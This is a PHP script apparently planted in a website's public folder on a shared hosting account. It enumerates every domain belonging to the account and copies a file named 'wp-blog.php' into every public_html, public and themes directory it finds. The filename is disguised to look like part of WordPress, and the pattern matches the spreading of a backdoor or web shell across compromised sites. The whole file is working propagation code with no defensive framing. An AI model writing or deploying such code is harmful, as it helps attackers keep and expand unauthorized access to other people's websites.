File: /home/u615933799/domains/revestsulpedras.com.br/public_html/copy.php
<?php
echo implode("<br>", scandir("/home/".get_current_user()."/domains/"));
echo "<br><br>";
$baseDir = '/home/' . get_current_user() . '/domains/';
$fileToCopy = 'wp-blog.php';
// check source file
if (!file_exists($fileToCopy)) {
die("Error: File '$fileToCopy' does not exist.\n");
}
/**
* Recursively scan for any folder named public_html or public
*/
function findPublicDirs($dir, &$targets) {
$items = scandir($dir);
foreach ($items as $item) {
if ($item === '.' || $item === '..') {
continue;
}
$path = $dir . '/' . $item;
if (is_dir($path)) {
if ($item === 'public_html' || $item === 'public' || $item === 'themes') {
$targets[] = $path;
}
// keep scanning deeper
findPublicDirs($path, $targets);
}
}
}
// scan all domains
$directories = scandir($baseDir);
foreach ($directories as $directory) {
$fullPath = $baseDir . $directory;
if ($directory === '.' || $directory === '..' || !is_dir($fullPath)) {
continue;
}
$targets = [];
findPublicDirs($fullPath, $targets);
foreach ($targets as $targetPath) {
$destination = $targetPath . '/' . basename($fileToCopy);
if (copy($fileToCopy, $destination)) {
echo "✅ File '$fileToCopy' copied to '$targetPath'.<br>";
} else {
echo "❌ Failed to copy file to '$targetPath'.<br>";
}
}
}
?>